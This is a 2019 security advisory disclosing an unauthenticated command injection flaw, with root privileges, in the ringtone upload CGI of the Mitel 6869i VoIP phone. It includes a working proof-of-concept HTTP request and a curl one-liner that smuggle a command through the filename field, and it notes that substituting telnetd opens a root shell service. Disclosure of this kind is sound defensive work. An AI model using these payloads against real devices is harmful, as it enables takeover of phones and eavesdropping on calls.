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bbs-2019.001.txt                             08-August-2019
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Vendor:             Mitel  
Affected Products:  Mitel 6869i Voip Deskphone Version 4.2.2032 - SIP
Not Affected:       unknown
Vulnerability:      Mitel 6869i SIP Deskphone 4.2.2032: Unauthenticated Bash 
                    Command Injection Vulnerability with Root Priviledges in 
                    /cgi-bin/webuploadconfig script
Risk:               High 
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Vendor communication:
  2019/08/08    BlueBox Security releases this advisory
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Overview:
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The Mitel 6869i is a desktop VoIP phone offering telephony features. 
A webservice running on the TCP Port 49249 is used to administrate the phone's 
VoIP settings, upgrade the firmware and change security settings.

Description:
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The Webserver on port 49249 of the Mitel 6869i phone is using the "webuploadconfig" cgi-script, 
an arm linux elf executable file, to upload ring tone audio files to the 
phone with the page=upload_ringtone parameter. 
The execution of this cgi-script does not require prior authentication.
Futhermore the script is vulnerable to Bash Command Injection.
The filename value of the POST request is used unsanitized in a system() call.

The vulnerable POST request to the webuploadconfig-script is the following:

POST //cgi-bin/webuploadconfig?page=upload_ringtone&action=submit&section=0&conn=1 HTTP/1.1
Host: 192.168.178.147:49249
User-Agent: curl/7.65.1
Accept: */*
Content-Length: 185
Content-Type: multipart/form-data; boundary=------------------------2754e6a90f270263
Connection: close

--------------------------2754e6a90f270263
Content-Disposition: form-data; name="file"; filename="`ping -c 1 192.168.178.140`"

pwned
--------------------------2754e6a90f270263--


By inserting "|command", "`command`" or "$(command) as the value of the "filename" parameter
the "command" is executed on the underlying linux operating system.

The following linux bash commandline exploits this vulnerability and executes the
command "ping -c 1 192.168.178.140" on the Mitel 6869i phone with the IP Adress 
192.168.178.147 with root priviledges:

$ echo "pwned" | curl -F "file=@-;filename=\`ping -c 1 192.168.178.140\`" \
"http://192.168.178.147:49249//cgi-bin/webuploadconfig?page=upload_ringtone&action=submit&section=0&conn=1"

To verify the successfull completion of the ping-command on the Mitel 6869i 
phone, start tcpdump on the host system and listen for incoming icmp requests.
(eg by running tcpdump -i eth0 -n icmp)

The "webuploadconfig" cgi-script also runs with superuser root-priviledges as 
the telnetd service can be started on the restricted TCP-port 23 by replacing
the ping-command with "telnetd &".

Impact:
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The described problems allow an unauthenticated attacker to run arbitary linux
operating system commands with root-priledges. This leads to a complete comprimise
of the Mitel 6869i phone and therefore also the possibility to eavesdrop on the
victim's calls.

Solution
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We recommend to properly perform input parsing of the filename parameter to avoid
Command Injection vulnerabilities.
As a quick fix blocking access to the port 49249 is advisable.

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Credits:
Bug found by Axel Rengstorf <ar@bluebox-security.de> of Bluebox Security
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References:
This Advisory and Upcoming Advisories:
http://bluebox-security.de/advisories.html
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About BlueBox Security:
BlueBox Security is a vendor-independent security consulting company
specialising in the areas of voip/pbx telephone infrastructures security
analysis, source code audits and analysis of iot/embedded systems.

https://www.bluebox-security.de
Contact: ar@bluebox-secuurity.de

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